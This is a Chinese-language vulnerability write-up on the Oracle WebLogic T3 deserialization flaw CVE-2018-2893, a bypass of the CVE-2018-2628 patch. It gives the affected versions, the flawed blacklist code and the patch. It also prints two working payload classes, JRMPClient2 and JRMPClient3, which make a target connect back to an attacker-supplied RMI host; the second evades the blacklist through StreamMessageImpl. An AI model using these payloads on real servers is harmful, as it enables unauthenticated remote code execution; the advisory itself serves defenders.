0x00 漏洞描述
7月18日,Oracle官方发布了季度补丁更新,其中修复了一个 Oracle WebLogic Server 远程代码执行漏洞CVE-2018-2893,此漏洞是对编号为 CVE-2018-2628 修复的绕过,攻击者同样可以在未身份验证的情况下对WebLogic进行攻击。
目前相关PoC已经公开,建议相关用户尽快进行评估升级。
0x01 漏洞影响面
影响版本:
WebLogic 10.3.6.0 WebLogic 12.1.3.0 WebLogic 12.2.1.2 WebLogic 12.2.1.3
0x02 漏洞详情
- 漏洞概况
WebLogic Server使用T3协议在WebLogic Server和客户端间传输数据和通信,由于WebLogic的T3协议和Web协议使用相同的端口,导致在默认情况下,WebLogic Server T3协议通信和Web端具有相同的访问权限。 易受攻击的WebLogic服务允许未经身份验证的攻击者通过T3网络访问及破坏Oracle WebLogic Server。此漏洞的成功攻击可能导致攻击者接管Oracle WebLogic Server,造成远程代码执行。 - CVE-2018-2628
InboundMsgAbbrev 使用 resolveProxyClass 来处理 rmi 接口类型,但仅仅只是对java.rmi.registry.Registry 进行比较判断,可通过其他rmi接口构造绕过。
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException,
ClassNotFoundException
{ String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
在公开 PoC 中,通过序列化RemoteObjectInvocationHandler,利用UnicastRef建立TCP连接获取远端的RMI registry,加载后会进行readObject解析,通过反序列化漏洞造成远程代码执行。
public class JRMPClient2 extends PayloadRunner implements ObjectPayload {
public Activator getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}
补丁(p27395085_1036_Generic) ,在WeblogicFilterConfig.class 的黑名单中添加了sun.rmi.server.UnicastRef, 进行防御。
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]
{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"sun.rmi.server.UnicastRef"};
补丁绕过
WebLogic 内部类 weblogic.jms.common.StreamMessageImpl 可被序列化并且在反序列化时可以调用RMI的类,可以绕过WebLogic 的黑名单限制。
public class JRMPClient3 extends PayloadRunner implements ObjectPayload {
public Object streamMessageImpl(byte[] object) {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}
public Object getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if (sep < 0) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID objID = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
return streamMessageImpl(Serializer.serialize(object));
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}
网友评论